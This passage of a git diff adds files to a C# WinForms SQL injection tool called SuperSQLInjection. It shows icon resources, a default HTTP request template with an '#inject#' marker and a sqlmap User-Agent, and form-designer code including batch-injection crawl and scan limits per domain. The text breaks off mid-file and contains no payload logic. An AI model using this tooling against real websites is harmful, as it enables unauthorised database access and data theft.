AQABMwHMAf8BAAEzAf8BMwEAATMB/wFmAQABMwH/AZkBAAEzAf8BzAEAATMC/wEAAWYDAAFmAQABMwEA + AWYBAAFmAQABZgEAAZkBAAFmAQABzAEAAWYBAAH/AQABZgEzAgABZgIzAQABZgEzAWYBAAFmATMBmQEA + AWYBMwHMAQABZgEzAf8BAAJmAgACZgEzAQADZgEAAmYBmQEAAmYBzAEAAWYBmQIAAWYBmQEzAQABZgGZ + AWYBAAFmApkBAAFmAZkBzAEAAWYBmQH/AQABZgHMAgABZgHMATMBAAFmAcwBmQEAAWYCzAEAAWYBzAH/ + AQABZgH/AgABZgH/ATMBAAFmAf8BmQEAAWYB/wHMAQABzAEAAf8BAAH/AQABzAEAApkCAAGZATMBmQEA + AZkBAAGZAQABmQEAAcwBAAGZAwABmQIzAQABmQEAAWYBAAGZATMBzAEAAZkBAAH/AQABmQFmAgABmQFm + ATMBAAGZATMBZgEAAZkBZgGZAQABmQFmAcwBAAGZATMB/wEAApkBMwEAApkBZgEAA5kBAAKZAcwBAAKZ + Af8BAAGZAcwCAAGZAcwBMwEAAWYBzAFmAQABmQHMAZkBAAGZAswBAAGZAcwB/wEAAZkB/wIAAZkB/wEz + AQABmQHMAWYBAAGZAf8BmQEAAZkB/wHMAQABmQL/AQABzAMAAZkBAAEzAQABzAEAAWYBAAHMAQABmQEA + AcwBAAHMAQABmQEzAgABzAIzAQABzAEzAWYBAAHMATMBmQEAAcwBMwHMAQABzAEzAf8BAAHMAWYCAAHM + AWYBMwEAAZkCZgEAAcwBZgGZAQABzAFmAcwBAAGZAWYB/wEAAcwBmQIAAcwBmQEzAQABzAGZAWYBAAHM + ApkBAAHMAZkBzAEAAcwBmQH/AQACzAIAAswBMwEAAswBZgEAAswBmQEAA8wBAALMAf8BAAHMAf8CAAHM + Af8BMwEAAZkB/wFmAQABzAH/AZkBAAHMAf8BzAEAAcwC/wEAAcwBAAEzAQAB/wEAAWYBAAH/AQABmQEA + AcwBMwIAAf8CMwEAAf8BMwFmAQAB/wEzAZkBAAH/ATMBzAEAAf8BMwH/AQAB/wFmAgAB/wFmATMBAAHM + AmYBAAH/AWYBmQEAAf8BZgHMAQABzAFmAf8BAAH/AZkCAAH/AZkBMwEAAf8BmQFmAQAB/wKZAQAB/wGZ + AcwBAAH/AZkB/wEAAf8BzAIAAf8BzAEzAQAB/wHMAWYBAAH/AcwBmQEAAf8CzAEAAf8BzAH/AQAC/wEz + AQABzAH/AWYBAAL/AZkBAAL/AcwBAAJmAf8BAAFmAf8BZgEAAWYC/wEAAf8CZgEAAf8BZgH/AQAC/wFm + AQABIQEAAaUBAANfAQADdwEAA4YBAAOWAQADywEAA7IBAAPXAQAD3QEAA+MBAAPqAQAD8QEAA/gBAAHw + AfsB/wEAAaQCoAEAA4ADAAH/AgAB/wMAAv8BAAH/AwAB/wEAAf8BAAL/AgAD/wEAEP8wAA/vAf8PvAUA + AQcBcgFPA0kBcgEHFAAP7wH/D+8EAAGYAU8BUASYAU8BSQEcEwAB7w3/Ae8B/wHvDf8B7wMAAZgBTwF4 + AQgBmAKXAZgBCAGXAUkBHBIAAe8B/wLcAv8C3AL/AtwC/wHvAf8B7wL/CdwC/wHvAgABBwFPAXgBCAaX + AQgBlwFJAQcRAAHvAf8C3AL/AtwC/wLcAv8B7wH/Ae8C/wncAv8B7wIAAXgBVgEIApcBeAEbAZgDlwEI + AU8BchEAAe8B/wLcAv8C3AL/AtwC/wHvAf8B7w3/Ae8CAAFQApgBlwF4A/8BmAKXApgBTxEAAe8B/wLc + Av8C3AL/AtwC/wHvAf8B7wL/CdwC/wHvAgABTwGYAZcBeAL/AfQC/wGYApcBmAFJEQAB7wH/AtwC/wLc + Av8C3AL/Ae8B/wHvAv8J3AL/Ae8CAAFVAQgBeAGXAQgB8QGXAQgC/wGYAZcBmAFPEQAB7w3/Ae8B/wHv + Df8B7wIAAVYCmAWXAQgB/wHzApgBTxEAAe8B9AvyAfQB7wH/Ae8B9AvyAfQB7wIAAZgBlwEIBpcBCAGX + AQgBUAGXEQABtA2zAbQB/wG0DbMBtAIAAQgBVgF4AQgGlwEIAXgBTwEHEQABswEJC9wBCQGzAf8BswEJ + C9wBCQGzAwABmAFWAXgBCAGYAngBmAEIAXgBTwGYEgABswHhC9sB4QGzAf8BswHhC9sB4QGzBAABmAFW + AZcEmAGXAVABmBMAAbMN4gGzAf8Bsw3iAbMFAAEIAZgEVgGYAQcUAA+zAf8Bug2zAbohABD/IAABEg5D + ARIB/w7UAf8gAAFtDv8BbQH/AdQC3AEZAvQBGQHcAdsB2gHTAdQB2wHUAf8BAA4HAgAIBwaXAQABbQH/ + ARUEEQEQAxEBEAERARQB/wFtAf8B1ALcARkC9AEZAdwB2wHaAdMB1AHbAdQB/wEAAQcC/wEHBP8BBwT/ + AQcCAAEHAv8BBwT/AZcECAGXAQABbQH/AeoC/wG8A/8BvAP/AeoB/wFtAf8B1AIZAfQC/wH0ARkBCQPc + AQkB1AH/AQABBwL/AQcE/wEHBP8BBwIAAQcC/wEHBP8BlwQIAZcBAAFtAf8B6gG8AQcBvAMHAbwCBwG8 + AeoB/wFtAf8O1AH/AQAOBwIACAcGlwEAAesB/wFtAv8BvAP/AbwD/wFtAf8B6wH/AdQC3AEZAvQBGQHc + AdsB2gHTAdQB2wHUAf8BAAEHAv8BBwT/AQcE/wEHAgABBwL/AQcE/wGXBAgBlwEAAesB/wFtAfAIvAHw + AW0B/wHrAf8B1ALcARkC9AEZAdwB2wHaAdMB1AHbAdQB/wEAAQcC/wEHBP8BBwT/AQcCAAEHAv8BBwT/ + AZcECAGXAQAB6wH/AesC/wHwA/8B8AP/AesB/wHrAf8B1ALcARkC9AEZAdwB2wHaAdMB1AHbAdQB/wEA + DgcCAAgHBpcBAAHrAf8B6wIZAfEG8gHzAesB/wHrAf8B1AIZAfQC/wH0ARkBCQPcAQkB1AH/AQABBwL/ + AQcE/wEHBP8BBwIAAQcC/wEHBP8BlwQIAZcBAAHsAf8BkQElASABGQcCAewB/wHsAf8O1AH/AQABBwL/ + AQcE/wEHBP8BBwIAAQcC/wEHBP8BlwQIAZcBAAHsAf8BkQImAfQBNAVVATQB7AH/AewB/wHUAtwBGQL0 + ARkB3AHbAdoB0wHUAdsB1AH/AQAOMwIACDMGNAEAAewB/wHsARkI8wH0AewB/wHsAf8B1ALcARkC9AEZ + AdwB2wHaAdMB1AHbAdQB/wEAATMCNAEzATQCVQE0ATMBNAJVATQBMwIAATMCNAEzATQCVQc0AQAB7AH/ + AewC/wHzA/8B8wP/AewB/wHsAf8B1AIZAfQC/wH0ARkBCQPcAQkB1AH/AQAOMwIACDMGNAEAAewB/wzs + Af8B7AH/DtQB/yAAAewO/wHsEP8gABDtAUIBTQE+BwABPgMAASgDAAFAAwABIAMAAQEBAAEBBgABARYA + A/8DAAT/BQABAQHwAQ8FAAEBAeABBwUAAQEBwAEDBQABAQGAAQEFAAEBAYABAQUAAQEBgAEBBQABAQGA + AQEFAAEBAYABAQUAAQEBgAEBBQABAQGAAQEFAAEBAYABAQUAAQEBwAEDBQABAQHgAQcFAAEBAfABDwUA + AQEC/wQABP8EAAT/BAABgAEBAYABAQQAAYABAQGAAQEEAAGAAQEBgAEBBAABgAEBAYABAQQAAYABAQGA + AQEEAAGAAQEBgAEBBAABgAEBAYABAQQAAYABAQGAAQEEAAGAAQEBgAEBBAABgAEBAYABAQQAAYABAQGA + AQEEAAGAAQEBgAEBBAAE/wQABP8CAAs= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAIDSURBVDhPpZLrS5NhGMb3j4SWh0oRQVExD4gonkDpg4hG + YKxG6WBogkMZKgPNCEVJFBGdGETEvgwyO9DJE5syZw3PIlPEE9pgBCLZ5XvdMB8Ew8gXbl54nuf63dd9 + 0OGSnwCahxbPRNPAPMw9Xpg6ZmF46kZZ0xSKzJPIrhpDWsVnpBhGkKx3nAX8Pv7z1zg8OoY/cITdn4fw + bf/C0kYAN3Ma/w3gWfZL5kzTKBxjWyK2DftwI9tyMYCZKXbNHaD91bLYJrDXsYbrWfUKwJrPE9M2M1Oc + VzOOpHI7Jr376Hi9ogHqFIANO0/MmmmbmSmm9a8ze+I4MrNWAdjtoJgWcx+PSzg166yZZ8xM8XvXDix9 + c4jIqFYAjoriBV9AhEPv1mH/sonogha0afbZMMZz+yreTGyhpusHwtNNCsA5U1zS4BLxzJIfg299qO32 + Ir7UJtZfftyATqeT+8o2D8JSjQrAJblrncYL7ZJ2+bfaFnC/1S1NjL3diRat7qrO7wLRP3HjWsojBeCo + mDEo5mNjuweFGvjWg2EBhCbpkW78htSHHwRyNdmgAFzPEee2iFkzayy2OLXzT4gr6UdUnlXrullsxxQ+ + kx0g8BTA3aZlButjSTyjODq/WcQcW/B/Je4OQhLvKQDnzN1mp0nnkvAhR8VuMzNrpm1mpjgkoVwB/v8D + TgDQASA1MVpwzwAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAIDSURBVDhPpZLrS5NhGMb3j4SWh0oRQVExD4gonkDpg4hG + YKxG6WBogkMZKgPNCEVJFBGdGETEvgwyO9DJE5syZw3PIlPEE9pgBCLZ5XvdMB8Ew8gXbl54nuf63dd9 + 0OGSnwCahxbPRNPAPMw9Xpg6ZmF46kZZ0xSKzJPIrhpDWsVnpBhGkKx3nAX8Pv7z1zg8OoY/cITdn4fw + bf/C0kYAN3Ma/w3gWfZL5kzTKBxjWyK2DftwI9tyMYCZKXbNHaD91bLYJrDXsYbrWfUKwJrPE9M2M1Oc + VzOOpHI7Jr376Hi9ogHqFIANO0/MmmmbmSmm9a8ze+I4MrNWAdjtoJgWcx+PSzg166yZZ8xM8XvXDix9 + c4jIqFYAjoriBV9AhEPv1mH/sonogha0afbZMMZz+yreTGyhpusHwtNNCsA5U1zS4BLxzJIfg299qO32 + Ir7UJtZfftyATqeT+8o2D8JSjQrAJblrncYL7ZJ2+bfaFnC/1S1NjL3diRat7qrO7wLRP3HjWsojBeCo + mDEo5mNjuweFGvjWg2EBhCbpkW78htSHHwRyNdmgAFzPEee2iFkzayy2OLXzT4gr6UdUnlXrullsxxQ+ + kx0g8BTA3aZlButjSTyjODq/WcQcW/B/Je4OQhLvKQDnzN1mp0nnkvAhR8VuMzNrpm1mpjgkoVwB/v8D + TgDQASA1MVpwzwAAAABJRU5ErkJggg== + + + + 417, 52 + + + 17, 52 + + + GET /access.asp?id=1<sEncode>#inject#<eEncode> HTTP/1.1 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Host: 127.0.0.1 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +User-Agent: sqlmap/1.0-dev (http://sqlmap.org) +Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 +Connection: close +Pragma: no-cache +Cache-Control: no-cache,no-store + + + 988, 14 + + + 806, 14 + + + 648, 14 + + + 608, 52 + + + 729, 52 + + + 852, 52 + + + 100 + + \ No newline at end of file diff --git a/SuperSQLInjection/Program.cs b/SuperSQLInjection/Program.cs new file mode 100644 index 0000000..2f12dc0 --- /dev/null +++ b/SuperSQLInjection/Program.cs @@ -0,0 +1,20 @@ +using System; +using System.Collections.Generic; +using System.Windows.Forms; + +namespace SuperSQLInjection +{ + static class Program + { + /// + /// 应用程序的主入口点。 + /// + [STAThread] + static void Main() + { + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new Main()); + } + } +} diff --git a/SuperSQLInjection/ProgressBar.Designer.cs b/SuperSQLInjection/ProgressBar.Designer.cs new file mode 100644 index 0000000..3eca654 --- /dev/null +++ b/SuperSQLInjection/ProgressBar.Designer.cs @@ -0,0 +1,46 @@ +namespace SuperSQLInjection +{ + partial class ProgressBar + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.SuspendLayout(); + // + // ProgressBar + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(487, 146); + this.Name = "ProgressBar"; + this.Text = "ProgressBar"; + this.ResumeLayout(false); + + } + + #endregion + } +} \ No newline at end of file diff --git a/SuperSQLInjection/ProgressBar.cs b/SuperSQLInjection/ProgressBar.cs new file mode 100644 index 0000000..365dd06 --- /dev/null +++ b/SuperSQLInjection/ProgressBar.cs @@ -0,0 +1,19 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace SuperSQLInjection +{ + public partial class ProgressBar : Form + { + public ProgressBar() + { + InitializeComponent(); + } + } +} diff --git a/SuperSQLInjection/ProgressBar.resx b/SuperSQLInjection/ProgressBar.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/SuperSQLInjection/ProgressBar.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/SuperSQLInjection/Properties/AssemblyInfo.cs b/SuperSQLInjection/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..43aed63 --- /dev/null +++ b/SuperSQLInjection/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// 有关程序集的常规信息通过以下 +// 特性集控制。更改这些特性值可修改 +// 与程序集关联的信息。 +[assembly: AssemblyTitle("SuperSQLInjection")] +[assembly: AssemblyDescription("design by shack2")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("www.shack2.org")] +[assembly: AssemblyProduct("SuperSQLInjection")] +[assembly: AssemblyCopyright("Copyright © 2014-2016")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// 将 ComVisible 设置为 false 使此程序集中的类型 +// 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型, +// 则将该类型上的 ComVisible 特性设置为 true。 +[assembly: ComVisible(false)] + +// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID +[assembly: Guid("d5688068-fc89-467d-913f-037a785caca7")] + +// 程序集的版本信息由下面四个值组成: +// +// 主版本 +// 次版本 +// 内部版本号 +// 修订号 +// +// 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值, +// 方法是按如下所示使用“*”: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.2016.05.25")] +[assembly: AssemblyFileVersion("1.2016.05.25")] diff --git a/SuperSQLInjection/Properties/Resources.Designer.cs b/SuperSQLInjection/Properties/Resources.Designer.cs new file mode 100644 index 0000000..29fb78d --- /dev/null +++ b/SuperSQLInjection/Properties/Resources.Designer.cs @@ -0,0 +1,63 @@ +//------------------------------------------------------------------------------ +// +// 此代码由工具生成。 +// 运行时版本:4.0.30319.42000 +// +// 对此文件的更改可能会导致不正确的行为,并且如果 +// 重新生成代码,这些更改将会丢失。 +// +//------------------------------------------------------------------------------ + +namespace SuperSQLInjection.Properties { + using System; + + + /// + /// 一个强类型的资源类,用于查找本地化的字符串等。 + /// + // 此类是由 StronglyTypedResourceBuilder + // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。 + // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen + // (以 /str 作为命令选项),或重新生成 VS 项目。 + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// 返回此类使用的缓存的 ResourceManager 实例。 + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SuperSQLInjection.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// 使用此强类型资源类,为所有资源查找 + /// 重写当前线程的 CurrentUICulture 属性。 + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + } +} diff --git a/SuperSQLInjection/Properties/Resources.resx b/SuperSQLInjection/Properties/Resources.resx new file mode 100644 index 0000000..af7dbeb --- /dev/null +++ b/SuperSQLInjection/Properties/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/SuperSQLInjection/Properties/Settings.Designer.cs b/SuperSQLInjection/Properties/Settings.Designer.cs new file mode 100644 index 0000000..d227d01 --- /dev/null +++ b/SuperSQLInjection/Properties/Settings.Designer.cs @@ -0,0 +1,26 @@ +//------------------------------------------------------------------------------ +// +// 此代码由工具生成。 +// 运行时版本:4.0.30319.42000 +// +// 对此文件的更改可能会导致不正确的行为,并且如果 +// 重新生成代码,这些更改将会丢失。 +// +//------------------------------------------------------------------------------ + +namespace SuperSQLInjection.Properties { + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + } +} diff --git a/SuperSQLInjection/Properties/Settings.settings b/SuperSQLInjection/Properties/Settings.settings new file mode 100644 index 0000000..3964565 --- /dev/null +++ b/SuperSQLInjection/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/SuperSQLInjection/Properties/app.manifest b/SuperSQLInjection/Properties/app.manifest new file mode 100644 index 0000000..6230e10 --- /dev/null +++ b/SuperSQLInjection/Properties/app.manifest @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/SuperSQLInjection/SETING~1.RES b/SuperSQLInjection/SETING~1.RES new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/SuperSQLInjection/SETING~1.RES @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/SuperSQLInjection/Seting.Designer.cs b/SuperSQLInjection/Seting.Designer.cs new file mode 100644 index 0000000..4e1a507 --- /dev/null +++ b/SuperSQLInjection/Seting.Designer.cs @@ -0,0 +1,265 @@ +namespace SuperSQLInjection +{ + partial class Seting + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.lbl_maxColumnsCount = new System.Windows.Forms.Label(); + this.cob_maxClolumnsCount = new System.Windows.Forms.ComboBox(); + this.chk_isAutoSaveConfig = new System.Windows.Forms.CheckBox(); + this.chk_autoCheckUpdate = new System.Windows.Forms.CheckBox(); + this.chk_mysqlMuStr = new System.Windows.Forms.CheckBox(); + this.chk_openHTTPLog = new System.Windows.Forms.CheckBox(); + this.chk_openInfoLog = new System.Windows.Forms.CheckBox(); + this.label1 = new System.Windows.Forms.Label(); + this.cob_oneDomainMaxSpiderCount = new System.Windows.Forms.ComboBox(); + this.cob_oneDomainMaxScanCount = new System.Windows.Forms.ComboBox(); + this.label2 = new System.Windows.Forms.Label(); + this.groupBox2 = new System.Windows.Forms.GroupBox(); + this.chk_redirectDoGet = new System.Windows.Forms.CheckBox(); + this.groupBox1.SuspendLayout(); + this.groupBox2.SuspendLayout(); + this.SuspendLayout(); + // + // groupBox1 + // + this.groupBox1.Controls.Add(this.chk_redirectDoGet); + this.groupBox1.Controls.Add(this.lbl_maxColumnsCount); + this.groupBox1.Controls.Add(this.cob_maxClolumnsCount); + this.groupBox1.Controls.Add(this.chk_isAutoSaveConfig); + this.groupBox1.Controls.Add(this.chk_autoCheckUpdate); + this.groupBox1.Controls.Add(this.chk_mysqlMuStr); + this.groupBox1.Controls.Add(this.chk_openHTTPLog); + this.groupBox1.Controls.Add(this.chk_openInfoLog); + this.groupBox1.Location = new System.Drawing.Point(12, 12); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Size = new System.Drawing.Size(487, 171); + this.groupBox1.TabIndex = 0; + this.groupBox1.TabStop = false; + this.groupBox1.Text = "系统配置"; + // + // lbl_maxColumnsCount + // + this.lbl_maxColumnsCount.AutoSize = true; + this.lbl_maxColumnsCount.Location = new System.Drawing.Point(17, 89); + this.lbl_maxColumnsCount.Name = "lbl_maxColumnsCount"; + this.lbl_maxColumnsCount.Size = new System.Drawing.Size(65, 12); + this.lbl_maxColumnsCount.TabIndex = 6; + this.lbl_maxColumnsCount.Text = "最大列数:"; + // + // cob_maxClolumnsCount + // + this.cob_maxClolumnsCount.FormattingEnabled = true; + this.cob_maxClolumnsCount.Items.AddRange(new object[] { + "5", + "10", + "15", + "20", + "30", + "40", + "50", + "60", + "70", + "80", + "90", + "100", + "150", + "200"}); + this.cob_maxClolumnsCount.Location = new System.Drawing.Point(88, 86); + this.cob_maxClolumnsCount.Name = "cob_maxClolumnsCount"; + this.cob_maxClolumnsCount.Size = new System.Drawing.Size(70, 20); + this.cob_maxClolumnsCount.TabIndex = 5; + this.cob_maxClolumnsCount.SelectedValueChanged += new System.EventHandler(this.cob_maxClolumnsCount_SelectedValueChanged); + // + // chk_isAutoSaveConfig + // + this.chk_isAutoSaveConfig.AutoSize = true; + this.chk_isAutoSaveConfig.Location = new System.Drawing.Point(276, 88); + this.chk_isAutoSaveConfig.Name = "chk_isAutoSaveConfig"; + this.chk_isAutoSaveConfig.Size = new System.Drawing.Size(144, 16); + this.chk_isAutoSaveConfig.TabIndex = 4; + this.chk_isAutoSaveConfig.Text = "软件关闭自动保存配置"; + this.chk_isAutoSaveConfig.UseVisualStyleBackColor = true; + this.chk_isAutoSaveConfig.CheckedChanged += new System.EventHandler(this.chk_isAutoSaveConfig_CheckedChanged); + // + // chk_autoCheckUpdate + // + this.chk_autoCheckUpdate.AutoSize = true; + this.chk_autoCheckUpdate.Location = new System.Drawing.Point(276, 20); + this.chk_autoCheckUpdate.Name = "chk_autoCheckUpdate"; + this.chk_autoCheckUpdate.Size = new System.Drawing.Size(120, 16); + this.chk_autoCheckUpdate.TabIndex = 1; + this.chk_autoCheckUpdate.Text = "开启自动检测更新"; + this.chk_autoCheckUpdate.UseVisualStyleBackColor = true; + this.chk_autoCheckUpdate.CheckedChanged += new System.EventHandler(this.chk_autoCheckUpdate_CheckedChanged); + // + // chk_mysqlMuStr + // + this.chk_mysqlMuStr.AutoSize = true; + this.chk_mysqlMuStr.Location = new System.Drawing.Point(19, 20); + this.chk_mysqlMuStr.Name = "chk_mysqlMuStr"; + this.chk_mysqlMuStr.Size = new System.Drawing.Size(150, 16); + this.chk_mysqlMuStr.TabIndex = 0; + this.chk_mysqlMuStr.Text = "开启MySQL多字节取数据"; + this.chk_mysqlMuStr.UseVisualStyleBackColor = true; + this.chk_mysqlMuStr.CheckedChanged += new System.EventHandler(this.chk_mysqlMuStr_CheckedChanged); + // + // chk_openHTTPLog + // + this.chk_openHTTPLog.AutoSize = true; + this.chk_openHTTPLog.Location = new System.Drawing.Point(276, 51); + this.chk_openHTTPLog.Name = "chk_openHTTPLog"; + this.chk_openHTTPLog.Size = new System.Drawing.Size(96, 16); + this.chk_openHTTPLog.TabIndex = 2; + this.chk_openHTTPLog.Text = "开启发包日志"; + this.chk_openHTTPLog.UseVisualStyleBackColor = true; + this.chk_openHTTPLog.CheckedChanged += new System.EventHandler(this.chk_openHTTPLog_CheckedChanged); + // + // chk_openInfoLog + // + this.chk_openInfoLog.AutoSize = true; + this.chk_openInfoLog.Location = new System.Drawing.Point(19, 51); + this.chk_openInfoLog.Name = "chk_openInfoLog"; + this.chk_openInfoLog.Size = new System.Drawing.Size(96, 16); + this.chk_openInfoLog.TabIndex = 1; + this.chk_openInfoLog.Text = "开启底部日志"; + this.chk_openInfoLog.UseVisualStyleBackColor = true; + this.chk_openInfoLog.CheckedChanged += new System.EventHandler(this.chk_openInfoLog_CheckedChanged); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(17, 34); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(113, 12); + this.label1.TabIndex = 8; + this.label1.Text = "单域名最大爬行数:"; + // + // cob_oneDomainMaxSpiderCount + // + this.cob_oneDomainMaxSpiderCount.FormattingEnabled = true; + this.cob_oneDomainMaxSpiderCount.Items.AddRange(new object[] { + "3", + "5", + "10", + "15", + "20", + "30", + "40", + "50"}); + this.cob_oneDomainMaxSpiderCount.Location = new System.Drawing.Point(136, 31); + this.cob_oneDomainMaxSpiderCount.Name = "cob_oneDomainMaxSpiderCount"; + this.cob_oneDomainMaxSpiderCount.Size = new System.Drawing.Size(70, 20); + this.cob_oneDomainMaxSpiderCount.TabIndex = 7; + this.cob_oneDomainMaxSpiderCount.SelectedValueChanged += new System.EventHandler(this.cob_oneDomainMaxSpiderCount_SelectedValueChanged); + // + // cob_oneDomainMaxScanCount + // + this.cob_oneDomainMaxScanCount.FormattingEnabled = true; + this.cob_oneDomainMaxScanCount.Items.AddRange(new object[] { + "3", + "5", + "10", + "15", + "20"}); + this.cob_oneDomainMaxScanCount.Location = new System.Drawing.Point(393, 31); + this.cob_oneDomainMaxScanCount.Name = "cob_oneDomainMaxScanCount"; + this.cob_oneDomainMaxScanCount.Size = new System.Drawing.Size(70, 20); + this.cob_oneDomainMaxScanCount.TabIndex = 7; + this.cob_oneDomainMaxScanCount.SelectedValueChanged += new System.EventHandler(this.cob_oneDomainMaxScanCount_SelectedValueChanged); + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(274, 34); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(113, 12); + this.label2.TabIndex = 8; + this.label2.Text = "单域名最大扫描数:"; + // + // groupBox2 + // + this.groupBox2.Controls.Add(this.label2); + this.groupBox2.Controls.Add(this.label1); + this.groupBox2.Controls.Add(this.cob_oneDomainMaxScanCount); + this.groupBox2.Controls.Add(this.cob_oneDomainMaxSpiderCount); + this.groupBox2.Location = new System.Drawing.Point(12, 204); + this.groupBox2.Name = "groupBox2"; + this.groupBox2.Size = new System.Drawing.Size(487, 75); + this.groupBox2.TabIndex = 9; + this.groupBox2.TabStop = false; + this.groupBox2.Text = "批量注入设置"; + // + // chk_redirectDoGet + // + this.chk_redirectDoGet.AutoSize = true; + this.chk_redirectDoGet.Location = new System.Drawing.Point(19, 131); + this.chk_redirectDoGet.Name = "chk_redirectDoGet"; + this.chk_redirectDoGet.Size = new System.Drawing.Size(126, 16); + this.chk_redirectDoGet.TabIndex = 7; + this.chk_redirectDoGet.Text = "重定向使用GET请求"; + this.chk_redirectDoGet.UseVisualStyleBackColor = true; + this.chk_redirectDoGet.CheckedChanged += new System.EventHandler(this.chk_redirectDoGet_CheckedChanged); + // + // Seting + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(519, 300); + 